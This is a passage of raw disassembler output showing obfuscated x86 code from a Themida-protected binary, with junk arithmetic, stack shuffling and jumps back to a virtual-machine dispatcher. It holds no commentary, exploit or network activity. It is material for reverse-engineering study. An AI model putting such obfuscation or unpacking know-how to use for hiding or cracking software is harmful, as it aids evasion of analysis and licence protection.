sub ch, dh
pop edx
xor ch, 7Eh
jmp loc_582674
; ---------------------------------------------------------------------------
loc_583A47: ; CODE XREF: Themida_:00583FADj
pop esi
sub esi, ebp
mov ebp, [esp]
add esp, 4
push eax
push 53AA62CDh
pop eax
sub esp, 4
mov [esp], edx
push 785Fh
mov [esp], esi
push eax
xor dword ptr [esp], 37D47135h
mov esi, [esp]
add esp, 4
xor esi, 37D47135h
push ebx
mov ebx, esi
mov edx, ebx
pop ebx
pop esi
mov ebx, edx
mov edx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
sub ebx, 53AA62CDh
loc_583A9A: ; CODE XREF: Themida_:005871F1j
sub esp, 4
mov [esp], eax
jmp loc_58D0EF
; ---------------------------------------------------------------------------
loc_583AA5: ; CODE XREF: Themida_:0058A9A7j
mov ebx, 0FEF5CBBh
sub ebx, 63383A33h
or ebx, 6E60088Fh
jmp loc_586042
; ---------------------------------------------------------------------------
loc_583ABB: ; CODE XREF: Themida_:00582E30j
push ebx
jmp loc_58BB24
; ---------------------------------------------------------------------------
loc_583AC1: ; CODE XREF: Themida_:005873A1j
xchg edx, [esp]
jmp loc_589B9A
; ---------------------------------------------------------------------------
loc_583AC9: ; CODE XREF: Themida_:00584F8Dj
mov ebx, esp
add ebx, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push 6534h
jmp loc_582F19
; ---------------------------------------------------------------------------
loc_583AFD: ; CODE XREF: Themida_:00585EFCj
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5829EB
; ---------------------------------------------------------------------------
loc_583B08: ; CODE XREF: Themida_:0058ABF8j
pop edx
add esp, 4
push 10D1h
mov [esp], esi
push 38F02D05h
pop esi
push 22F4h
mov [esp], edx
push 7CD25B9Ch
jmp loc_585082
; ---------------------------------------------------------------------------
loc_583B2C: ; CODE XREF: Themida_:0058DE96j
add ebp, 4
jmp loc_5834B0
; ---------------------------------------------------------------------------
loc_583B37: ; CODE XREF: Themida_:005831E1j
pop ebx
xchg eax, [esp]
mov esp, [esp]
jmp loc_58B3F4
; ---------------------------------------------------------------------------
loc_583B43: ; CODE XREF: Themida_:0058A24Dj
xor [esp], ebp
jmp loc_587E73
; ---------------------------------------------------------------------------
loc_583B4B: ; CODE XREF: Themida_:005837B5j
mov eax, 619E46E9h
xor eax, 4B5007B8h
or eax, 6A276BB6h
jmp loc_58AE41
; ---------------------------------------------------------------------------
loc_583B5F: ; CODE XREF: Themida_:00583C01j
mov al, 6Ch
push eax
mov ah, 0F8h
mov bl, 0Bh
xor bl, ah
pop eax
xor bl, al
pop eax
mov ch, 4Ah
jmp loc_587ED3
; ---------------------------------------------------------------------------
loc_583B73: ; CODE XREF: Themida_:00585030j
mov edx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebp
jmp loc_58B73E
; ---------------------------------------------------------------------------
loc_583B8A: ; CODE XREF: Themida_:00586A9Dj
push ecx
mov ecx, 662330ADh
sub ecx, 57A47B46h
xor ecx, 1497338Bh
jmp loc_587B1F
; ---------------------------------------------------------------------------
loc_583BA1: ; CODE XREF: Themida_:0058AFA3j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
pop ebx
and ecx, edx
mov edx, [esp]
add esp, 4
shr ecx, 0
jmp loc_58CB8A
; ---------------------------------------------------------------------------
loc_583BC5: ; CODE XREF: Themida_:0058293Fj
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
jmp loc_584B74
; ---------------------------------------------------------------------------
loc_583BDE: ; CODE XREF: Themida_:00587414j
sub edx, 667725F2h
jmp loc_58D773
; ---------------------------------------------------------------------------
loc_583BE9: ; CODE XREF: Themida_:00583E2Dj
and eax, 7E9C32AEh
add eax, 42DB19A6h
jmp loc_584A6A
; ---------------------------------------------------------------------------
loc_583BF8: ; CODE XREF: Themida_:00588F3Dj
sub edx, ebx
pop ebx
jmp loc_58723C
; ---------------------------------------------------------------------------
loc_583C00: ; CODE XREF: Themida_:0058C1E9j
push eax
jmp loc_583B5F
; ---------------------------------------------------------------------------
push 5676h
mov [esp], edx
push 1
pop edx
or [edi+1Ch], edx
jmp loc_58571A
; ---------------------------------------------------------------------------
loc_583C1C: ; CODE XREF: Themida_:005852ACj
add eax, ebp
jmp loc_58990B
; ---------------------------------------------------------------------------
loc_583C23: ; CODE XREF: Themida_:0058C9ACj
push ecx
push 22EE4C31h
pop ecx
jmp loc_588E33
; ---------------------------------------------------------------------------
loc_583C2F: ; CODE XREF: Themida_:005847C9j
add ebp, 175F5BF6h
add esi, ebp
pop ebp
jmp loc_587202
; ---------------------------------------------------------------------------
loc_583C3D: ; CODE XREF: Themida_:0058C84Dj
movzx cx, ah
push edx
sub esp, 4
mov [esp], esp
jmp loc_5893B0
; ---------------------------------------------------------------------------
loc_583C4D: ; CODE XREF: Themida_:0058A010j
pop esp
mov [esp], ebp
jmp loc_58AE4D
; ---------------------------------------------------------------------------
loc_583C56: ; CODE XREF: Themida_:0058B987j
sub edi, 4
jmp loc_58CFD1
; ---------------------------------------------------------------------------
loc_583C5E: ; CODE XREF: Themida_:0058C2BFj
push 57C8h
mov [esp], eax
jmp loc_58C7FF
; ---------------------------------------------------------------------------
loc_583C6B: ; CODE XREF: Themida_:0058A427j
mov dh, ch
pop ecx
push 0
jmp loc_5882D3
; ---------------------------------------------------------------------------
loc_583C78: ; CODE XREF: Themida_:00589B89j
inc ch
and ch, 9Dh
jmp loc_58AF24
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_583C92: ; CODE XREF: Themida_:00587194j
not esi
and esi, 2FC20282h
sub esi, 25BFFFFEh
add edi, esi
mov esi, [esp]
push edx
jmp loc_5886D4
; ---------------------------------------------------------------------------
loc_583CAB: ; CODE XREF: Themida_:0058A920j
mov ecx, esp
push eax
mov eax, 4
jmp loc_5840DD
; ---------------------------------------------------------------------------
loc_583CB8: ; CODE XREF: Themida_:0058576Bj
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_58B99A
; ---------------------------------------------------------------------------
loc_583CC8: ; CODE XREF: Themida_:0058281Cj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_581FCB
; ---------------------------------------------------------------------------
loc_583CD6: ; CODE XREF: Themida_:0058A87Dj
pop esi
add esp, 4
push ebp
mov ebp, 1F505153h
shr ebp, 6
add ebp, 3F622E0Ah
or ebp, 1ECA7EB4h
push ebx
mov ebx, 3A102B11h
sub ebx, 0C4FBFE56h
xor ebp, ebx
jmp loc_58762B
; ---------------------------------------------------------------------------
loc_583D05: ; CODE XREF: Themida_:005823F4j
mov eax, [esp]
add esp, 4
add bl, al
push ecx
push ebx
push edx
mov dl, 77h
mov bh, dl
pop edx
mov ch, bh
pop ebx
add ch, 0F6h
push edx
push ebx
mov bl, 14h
sub bl, 0B2h
mov dl, bl
mov ebx, [esp]
jmp loc_58B949
; ---------------------------------------------------------------------------
loc_583D2C: ; CODE XREF: Themida_:005839C5j
push eax
mov eax, 3D0B5ECBh
xor edx, eax
jmp loc_58BB39
; ---------------------------------------------------------------------------
loc_583D39: ; CODE XREF: Themida_:0058397Ej
pop edx
sub [esp+4], ebp
mov ebp, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
push ebp
push eax
mov eax, 6973735Ch
mov ebp, eax
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_58BFCD
; ---------------------------------------------------------------------------
loc_583D70: ; CODE XREF: Themida_:00587242j
sub edx, ebp
sub edx, 2FBE53FCh
jmp loc_58C588
; ---------------------------------------------------------------------------
loc_583D7D: ; CODE XREF: Themida_:00589524j
mov ebp, edx
mov edx, [esp]
add esp, 4
and ecx, ebp
pop ebp
shr ecx, 0Ah
push 4CF1h
mov [esp], edi
mov edi, ebx
jmp loc_58AA7B
; ---------------------------------------------------------------------------
loc_583D9D: ; CODE XREF: Themida_:0058C71Cj
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
imul cx
push small 2399h
mov [esp], dx
push ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_583DBD: ; CODE XREF: Themida_:00587AB8j
add eax, 1AC51601h
pop edx
jmp loc_581DB0
; ---------------------------------------------------------------------------
loc_583DC8: ; CODE XREF: Themida_:005834C4j
push dword ptr [esp]
jmp loc_589656
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 73D709Bh
push edx
jmp loc_585846
; ---------------------------------------------------------------------------
loc_583DEE: ; CODE XREF: Themida_:00588A27j
sub edx, edi
mov edi, [esp]
jmp loc_589D8C
; ---------------------------------------------------------------------------
loc_583DF8: ; CODE XREF: Themida_:0058DF10j
mov bh, 0F3h
or bh, 24h
push edx
jmp loc_581B65
; ---------------------------------------------------------------------------
loc_583E03: ; CODE XREF: Themida_:0058C28Ej
pop edx
sub esp, 2
mov [esp], bx
mov bh, 4Ah
sub al, 64h
jmp loc_58507C
; ---------------------------------------------------------------------------
loc_583E17: ; CODE XREF: Themida_:0058331Fj
add ebx, 1284BCBh
sub ebx, edx
sub ebx, 1284BCBh
jmp loc_58CDEB
; ---------------------------------------------------------------------------
loc_583E2A: ; CODE XREF: Themida_:0058C31Aj
shr eax, 6
jmp loc_583BE9
; ---------------------------------------------------------------------------
loc_583E32: ; CODE XREF: Themida_:00587DDEj
add ebp, 4
jmp loc_586FA2
; ---------------------------------------------------------------------------
loc_583E3D: ; CODE XREF: Themida_:00582E01j
pop edx
not bl
push ecx
jmp loc_58CCCB
; ---------------------------------------------------------------------------
loc_583E46: ; CODE XREF: Themida_:0058BB85j
push edi
mov edi, 4
add ebp, edi
jmp loc_58A21D
; ---------------------------------------------------------------------------
loc_583E53: ; CODE XREF: Themida_:00586CEAj
mov ebp, 1F024150h
push ebp
mov ebp, 3B495332h
jmp loc_58D766
; ---------------------------------------------------------------------------
loc_583E63: ; CODE XREF: Themida_:0058CC4Cj
not ebp
dec ebp
push ebx
mov ebx, 606C3FC7h
sub ebx, 9589D00Dh
add ebp, 6AEF4D39h
add ebp, ebx
sub ebp, 6AEF4D39h
pop ebx
jmp loc_5821A7
; ---------------------------------------------------------------------------
loc_583E86: ; CODE XREF: Themida_:0058C6DEj
push ebp
mov ebp, 79325844h
push edx
mov edx, 44D01C1Ah
not edx
not edx
jmp loc_58A54F
; ---------------------------------------------------------------------------
loc_583E9B: ; CODE XREF: Themida_:0058D6E5j
and edi, 66330DC9h
sub edi, 612FFFCh
add ebp, edi
pop edi
push eax
jmp loc_58DDA3
; ---------------------------------------------------------------------------
loc_583EB0: ; CODE XREF: Themida_:00587CCDj
sub esi, 0D1B0EADh
xor esi, 6F034CF6h
sub edi, 1B1E7A48h
add edi, esi
add edi, 1B1E7A48h
pop esi
push ebp
mov ebp, 763B1302h
neg ebp
neg ebp
or ebp, 4423F8Ch
shr ebp, 6
sub ebp, 72E86AA9h
sub ebp, 8EF18253h
add edi, 644616D3h
jmp loc_58C000
; ---------------------------------------------------------------------------
loc_583EF5: ; CODE XREF: Themida_:0058DB88j
shr esi, 3
shr esi, 6
shr esi, 8
push eax
mov eax, 6BF201F1h
shl eax, 4
inc eax
jmp loc_584419
; ---------------------------------------------------------------------------
push eax
push edx
mov edx, 625F00B4h
jmp loc_58BAFA
; ---------------------------------------------------------------------------
loc_583F19: ; CODE XREF: Themida_:0058C7B7j
mov ebx, [esp]
add esp, 4
xor ebx, 93E59831h
sub eax, ebx
pop ebx
add eax, ebx
push 0F95h
mov [esp], edi
jmp loc_58CC23
; ---------------------------------------------------------------------------
loc_583F3A: ; CODE XREF: Themida_:005895DDj
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5846C1
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 626Ch
jmp loc_58C6C8
; ---------------------------------------------------------------------------
loc_583F55: ; CODE XREF: Themida_:0058565Fj
xor eax, [esp]
mov esp, [esp]
shr ecx, 6
jmp loc_582DB9
; ---------------------------------------------------------------------------
loc_583F63: ; CODE XREF: Themida_:00586988j
xor edx, [esp]
mov esp, [esp]
add esp, 4
sub [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_583F75: ; CODE XREF: Themida_:005893E2j
push esp
pop ebp
push ebx
push edi
mov edi, 13774874h
jmp loc_588557
; ---------------------------------------------------------------------------
loc_583F83: ; CODE XREF: Themida_:00589C2Cj
add esp, 4
jmp loc_58B771
; ---------------------------------------------------------------------------
loc_583F8B: ; CODE XREF: Themida_:0058AD24j
sub esp, 4
mov [esp], esi
mov esi, esp
push ebx
jmp loc_5892C1
; ---------------------------------------------------------------------------
loc_583F9C: ; CODE XREF: Themida_:0058C944j
pop esi
shr esi, 3
shl esi, 3
not esi
sub esi, 0FF92628Dh
xor ebp, esi
jmp loc_583A47
; ---------------------------------------------------------------------------
loc_583FB2: ; CODE XREF: Themida_:0058C1DCj
pop dword ptr [esp]
pop esp
push ecx
mov ecx, 0FA5E28h
add ecx, 1
shr ecx, 5
sub ecx, 0D845CDD6h
xor eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push dword ptr [edi+eax*4]
add dword ptr [esp], 13454081h
jmp loc_58227A
; ---------------------------------------------------------------------------
loc_583FE5: ; CODE XREF: Themida_:0058B60Fj
pop edx
add edx, edi
jmp loc_589067
; ---------------------------------------------------------------------------
loc_583FED: ; CODE XREF: Themida_:00586345j
pop ebx
xor edx, 7176452Dh
jmp loc_5840CA
; ---------------------------------------------------------------------------
loc_583FF9: ; CODE XREF: Themida_:00585518j
xor ebp, [esp]
pop esp
push ebx
push esi
mov esi, 56294CE2h
push ebp
jmp loc_58D165
; ---------------------------------------------------------------------------
loc_58400A: ; CODE XREF: Themida_:0058A7B8j
shl bl, 1
xor bl, 90h
jmp loc_58D432
; ---------------------------------------------------------------------------
loc_584014: ; CODE XREF: Themida_:0058D279j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push ebp
mov ebp, 49714625h
jmp loc_583841
; ---------------------------------------------------------------------------
loc_584029: ; CODE XREF: Themida_:00585064j
xor ebp, 59562F59h
sub ebp, 0D316A14Fh
sub ebx, 97337FFh
sub ebx, 6E8820CDh
add ebx, ebp
add ebx, 6E8820CDh
push esi
mov esi, 61094C80h
neg esi
jmp loc_588BA1
; ---------------------------------------------------------------------------
loc_584056: ; CODE XREF: Themida_:00589241j
mov dh, 3Bh
jmp loc_58300E
; ---------------------------------------------------------------------------
loc_58405D: ; CODE XREF: Themida_:0058B5B2j
pop esi
pop dword ptr [esp]
pop esp
push 3D6Ch
jmp loc_585AED
; ---------------------------------------------------------------------------
loc_58406C: ; CODE XREF: Themida_:005864D0j
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
jmp loc_58A571
; ---------------------------------------------------------------------------
loc_58407C: ; CODE XREF: Themida_:00581F8Bj
add bh, 9Fh
push ecx
mov ch, bh
mov dl, ch
pop ecx
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shr dl, 3
push ecx
mov ecx, esp
push edi
mov edi, 4B422E36h
and edi, 43946D42h
jmp loc_58778A
; ---------------------------------------------------------------------------
loc_5840B2: ; CODE XREF: Themida_:00585841j
xchg edx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5840C1: ; CODE XREF: Themida_:00585343j
pop ebp
add ebx, esi
pop esi
jmp loc_582A72
; ---------------------------------------------------------------------------
loc_5840CA: ; CODE XREF: Themida_:00583FF4j
shl edx, 7
push edx
not dword ptr [esp]
pop edx
sub esp, 4
mov [esp], edi
jmp loc_588F82
; ---------------------------------------------------------------------------
loc_5840DD: ; CODE XREF: Themida_:00583CB3j
add ecx, eax
pop eax
push edx
mov edx, 5C283F62h
shl edx, 6
xor edx, 2D493419h
jmp loc_584170
; ---------------------------------------------------------------------------
loc_5840F4: ; CODE XREF: Themida_:0058D8FBj
pop eax
xor bh, ch
pop ecx
shr bh, 3
not bh
push eax
mov ah, 0A6h
shl ah, 6
neg ah
jmp loc_58AD49
; ---------------------------------------------------------------------------
loc_58410A: ; CODE XREF: Themida_:00587E3Fj
pop edi
xchg eax, [esp]
jmp loc_588F68
; ---------------------------------------------------------------------------
loc_584113: ; CODE XREF: Themida_:00589513j
push ebx
mov ebx, esp
push edi
mov edi, 4
add ebx, edi
pop edi
add ebx, 2
xchg ebx, [esp]
pop esp
movzx eax, ax
push 4092h
mov [esp], eax
push 5973h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_589C31
; ---------------------------------------------------------------------------
loc_584148: ; CODE XREF: Themida_:0058A88Fj
push edi
jmp loc_58BA3E
; ---------------------------------------------------------------------------
loc_58414E: ; CODE XREF: Themida_:0058C545j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_58A079
; ---------------------------------------------------------------------------
loc_58415C: ; CODE XREF: Themida_:00587A68j
pop edi
dec edi
xchg edx, edi
xchg ecx, edx
not ecx
xchg ecx, edx
xchg edx, edi
sub esp, 4
jmp loc_585C94
; ---------------------------------------------------------------------------
loc_584170: ; CODE XREF: Themida_:005840EFj
and edx, 5290555Dh
shl edx, 6
push edi
push 557E7F50h
pop edi
inc edi
jmp loc_588EDC
; ---------------------------------------------------------------------------
loc_584186: ; CODE XREF: Themida_:0058C859j
add ebx, 4
push 1009h
mov [esp], ecx
jmp loc_5842D6
; ---------------------------------------------------------------------------
loc_584199: ; CODE XREF: Themida_:0058C80Cj
add edx, eax
mov [edx], bh
jmp loc_584A36
; ---------------------------------------------------------------------------
loc_5841A2: ; CODE XREF: Themida_:0058ACCFj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5841C3: ; CODE XREF: Themida_:00587F54j
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
xchg ebp, [esp]
jmp loc_582399
; ---------------------------------------------------------------------------
loc_5841DD: ; CODE XREF: Themida_:005842ADj
pop esi
jmp loc_58B517
; ---------------------------------------------------------------------------
loc_5841E3: ; CODE XREF: Themida_:00581ABEj
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
jmp loc_583A15
; ---------------------------------------------------------------------------
loc_5841FE: ; CODE XREF: Themida_:00586B56j
push edi
push eax
mov eax, 2
jmp loc_581B11
; ---------------------------------------------------------------------------
loc_58420A: ; CODE XREF: Themida_:0058CCCEj
mov ch, dl
pop edx
mov ah, ch
mov ecx, [esp]
jmp loc_586A76
; ---------------------------------------------------------------------------
loc_584217: ; CODE XREF: Themida_:00587DB3j
rol byte ptr [esp], cl
pushf
jmp loc_58DD34
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58422F: ; CODE XREF: Themida_:005838B0j
and eax, ebx
pop ebx
shr eax, 8
xor eax, ecx
push edx
push esp
jmp loc_58BD89
; ---------------------------------------------------------------------------
loc_58423E: ; CODE XREF: Themida_:00588571j
sub ebp, 0C8A365Fh
add ebp, esi
add ebp, 0C8A365Fh
pop esi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add esp, 4
push dword ptr [esp]
pop ecx
push 5701h
mov [esp], eax
push esp
pop eax
sub esp, 4
mov [esp], ecx
push edx
mov edx, 4
mov ecx, edx
pop edx
add eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push ecx
mov ecx, 4
add eax, ecx
pop ecx
jmp loc_58B393
; ---------------------------------------------------------------------------
loc_584294: ; CODE XREF: Themida_:0058A4A0j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_58DAD8
; ---------------------------------------------------------------------------
loc_5842A5: ; CODE XREF: Themida_:0058DB76j
mov [esp], esi
push 69F240DEh
jmp loc_5841DD
; ---------------------------------------------------------------------------
loc_5842B2: ; CODE XREF: Themida_:0058DAD3j
mov ecx, 0A3AFA2FBh
add ecx, edi
pop edi
jmp loc_5893D0
; ---------------------------------------------------------------------------
loc_5842BF: ; CODE XREF: Themida_:005879B2j
mov ebp, [esp]
add esp, 4
push edx
mov edx, 4
add ebp, edx
pop edx
jmp loc_586CAD
; ---------------------------------------------------------------------------
loc_5842D6: ; CODE XREF: Themida_:00584194j
push ebp
push 2
pop ebp
push ebp
pop ecx
pop ebp
sub ebx, ecx
push dword ptr [esp]
jmp loc_58C399
; ---------------------------------------------------------------------------
loc_5842EA: ; CODE XREF: Themida_:0058C5AFj
sub edx, 664840D1h
add edx, 1EB83667h
mov esi, [esp]
add esp, 4
push edi
mov edi, 2
add edx, edi
mov edi, [esp]
jmp loc_58B14F
; ---------------------------------------------------------------------------
loc_58430F: ; CODE XREF: Themida_:0058D38Aj
mov [esp], eax
push edx
mov edx, 16E8755Ah
mov eax, edx
pop edx
mov edx, 0FFB6BC35h
add edx, 638B7C31h
jmp loc_58C8E7
; ---------------------------------------------------------------------------
loc_58432B: ; CODE XREF: Themida_:005861B4j
or edi, 37C5C8Ch
push ebx
mov ebx, 27FC5DAAh
xor edi, ebx
mov ebx, [esp]
add esp, 4
mov ecx, edi
jmp loc_58D49F
; ---------------------------------------------------------------------------
loc_584349: ; CODE XREF: Themida_:0058BB3Aj
or [edi+20h], edx
pop edx
sub dword ptr [edi+20h], 65A4158Ah
push ecx
mov ecx, 4210F84h
add ecx, 0FBDEF09Ch
jmp loc_58CC0E
; ---------------------------------------------------------------------------
loc_584365: ; CODE XREF: Themida_:0058A5B5j
mov ebx, [esp]
push eax
push 7E7Fh
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_585627
; ---------------------------------------------------------------------------
loc_58437E: ; CODE XREF: Themida_:0058B6B7j
sub esp, 4
mov [esp], ecx
mov cl, bl
mov dh, cl
pop ecx
jmp loc_586C48
; ---------------------------------------------------------------------------
loc_584391: ; CODE XREF: Themida_:0058DC14j
mov esi, [esp]
jmp loc_58B015
; ---------------------------------------------------------------------------
loc_584399: ; CODE XREF: Themida_:00582C58j
add eax, 12315C4Ch
jmp loc_58BBB6
; ---------------------------------------------------------------------------
loc_5843A3: ; CODE XREF: Themida_:00584AEBj
pop ebx
jmp loc_58D02D
; ---------------------------------------------------------------------------
loc_5843A9: ; CODE XREF: Themida_:00582816j
xor esi, 51274D5h
or esi, 56A82B21h
jmp loc_58DCB7
; ---------------------------------------------------------------------------
loc_5843BA: ; CODE XREF: Themida_:00588A4Dj
sub ecx, ebp
jmp loc_58D9AF
; ---------------------------------------------------------------------------
loc_5843C1: ; CODE XREF: Themida_:0058AE98j
add eax, 4
push edx
push eax
mov eax, 6C7C5A55h
push ebp
mov ebp, 5B381CE6h
jmp loc_584696
; ---------------------------------------------------------------------------
loc_5843D8: ; CODE XREF: Themida_:005874F8j
mov [esp], ecx
push ax
mov ah, 77h
mov ch, ah
pop ax
xor dl, ch
mov ecx, [esp]
add esp, 4
push ebx
push edx
mov dh, 35h
jmp loc_58B4A1
; ---------------------------------------------------------------------------
loc_5843F4: ; CODE XREF: Themida_:005856A0j
pop ebp
add ebp, 649C4BA7h
add ebp, eax
sub ebp, 649C4BA7h
pop eax
xchg ebp, [esp]
pop esp
movsx ecx, ax
push edi
mov edi, esp
push esi
mov esi, 4
jmp loc_5888A1
; ---------------------------------------------------------------------------
loc_584419: ; CODE XREF: Themida_:00583F08j
xor eax, 6E61EA7h
jmp loc_582FDD
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, 7B6F4E7Dh
push edi
mov edi, 4FE53084h
or ecx, edi
pop edi
dec ecx
push ecx
not dword ptr [esp]
pop ecx
sub ecx, 67F86386h
push eax
mov eax, 632B7855h
sub ecx, eax
jmp loc_58518E
; ---------------------------------------------------------------------------
loc_584452: ; CODE XREF: Themida_:0058766Bj
sub [esp], edx
pop edx
push ecx
mov ecx, 500B0113h
add edx, 61D04E4Eh
sub edx, ecx
sub edx, 61D04E4Eh
pop ecx
add edx, 0DD9BBDD4h
sub ecx, edx
jmp loc_582E72
; ---------------------------------------------------------------------------
loc_584478: ; CODE XREF: Themida_:00585095j
sub edx, 2
sub esp, 4
jmp loc_584E58
; ---------------------------------------------------------------------------
loc_584483: ; CODE XREF: Themida_:00589432j
mov [esp], ebp
mov ebp, 7C8662FAh
push edx
jmp loc_5833C9
; ---------------------------------------------------------------------------
loc_584491: ; CODE XREF: Themida_:00582CE5j
pop ebp
shr ebx, 3
push eax
mov eax, 0FFFFFFFFh
add ebx, eax
pop eax
not ebx
push ebp
jmp loc_58278E
; ---------------------------------------------------------------------------
loc_5844A6: ; CODE XREF: Themida_:00582B78j
sub esp, 4
mov [esp], ecx
mov ch, 0E0h
neg ch
shr ch, 7
or ch, 89h
shl ch, 8
xor ch, 97h
sub bl, ch
pop ecx
jmp loc_58959F
; ---------------------------------------------------------------------------
loc_5844C4: ; CODE XREF: Themida_:00581EA4j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], dx
jmp loc_588CFA
; ---------------------------------------------------------------------------
loc_5844D3: ; CODE XREF: Themida_:0058BBB1j
pop esp
jmp loc_58A452
; ---------------------------------------------------------------------------
loc_5844D9: ; CODE XREF: Themida_:0058AC93j
push edx
mov edx, 673F6D9Eh
xchg ecx, edx
dec ecx
xchg ecx, edx
shr edx, 6
jmp loc_5888E2
; ---------------------------------------------------------------------------
loc_5844EC: ; CODE XREF: Themida_:0058C1ACj
xor ebp, [esp]
pop esp
sar dword ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5844F9: ; CODE XREF: Themida_:00584A37j
pop eax
jmp loc_581A90
; ---------------------------------------------------------------------------
loc_5844FF: ; CODE XREF: Themida_:0058CFCCj
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0FFD5CDE9h, 0C8B66FFh, 4A10E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_584532: ; CODE XREF: Themida_:00586A68j
push 5F20h
mov [esp], esi
push 1
jmp loc_582B30
; ---------------------------------------------------------------------------
loc_584544: ; CODE XREF: Themida_:0058C306j
push ebx
mov ebx, 115A715Fh
add ebx, 411354B9h
shr ebx, 5
jmp loc_58C9E0
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], edi
push 27472958h
pop edi
sub eax, 4B4D125Dh
add eax, edi
jmp loc_584F2D
; ---------------------------------------------------------------------------
loc_584571: ; CODE XREF: Themida_:00589D0Ej
mov ebp, 2DC4E6Ah
xor ebp, 2DC4E6Eh
add esi, ebp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_5839AF
; ---------------------------------------------------------------------------
loc_584589: ; CODE XREF: Themida_:00587E9Dj
pop esp
mov fs:[edx], al
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_584592: ; CODE XREF: Themida_:0058514Dj
neg ebp
push edi
mov edi, 3C79692Eh
xor edi, 75530593h
jmp loc_58D583
; ---------------------------------------------------------------------------
loc_5845A5: ; CODE XREF: Themida_:0058D9AAj
mov edx, 76DB6C2Fh
jmp loc_5822B0
; ---------------------------------------------------------------------------
loc_5845AF: ; CODE XREF: Themida_:005826EBj
pop dx
push edx
mov dl, 39h
jmp loc_58C3B7
; ---------------------------------------------------------------------------
loc_5845B9: ; CODE XREF: Themida_:00585F28j
add dword ptr [esp+8], 7B7C738Fh
jmp loc_58B7E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_5845C6: ; CODE XREF: sub_5F0C13-6B51Dj
add ch, 1
shr ch, 3
push small 20AEh
mov word ptr [esp+34h+var_36+2], ax
mov al, 0E8h
jmp loc_58917D
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_5845DB: ; CODE XREF: Themida_:00585CBCj
dec dword ptr [esp]
jmp loc_5876B8
; ---------------------------------------------------------------------------
loc_5845E3: ; CODE XREF: Themida_:00587041j
mov ebp, 2AD06924h
and edx, ebp
pop ebp
and edx, 0FD44DEDh
inc edx
add edx, 1
add edx, 0FF6FF802h
mov ebp, edx
pop edx
add ebx, ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub dword ptr [esp], 39190A56h
sub [esp], eax
push ebp
push edx
mov edx, 33772BEh
neg edx
jmp loc_5884AE
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5881B1
; ---------------------------------------------------------------------------
loc_58462D: ; CODE XREF: Themida_:00585DCAj
and edx, ecx
jmp loc_5881AB
; ---------------------------------------------------------------------------
loc_584634: ; CODE XREF: Themida_:005864A2j
push edx
mov edx, 60306A57h
add esi, edx
pop edx
jmp loc_585B66
; ---------------------------------------------------------------------------
loc_584642: ; CODE XREF: Themida_:00587EB1j
jmp loc_5818C9
; ---------------------------------------------------------------------------
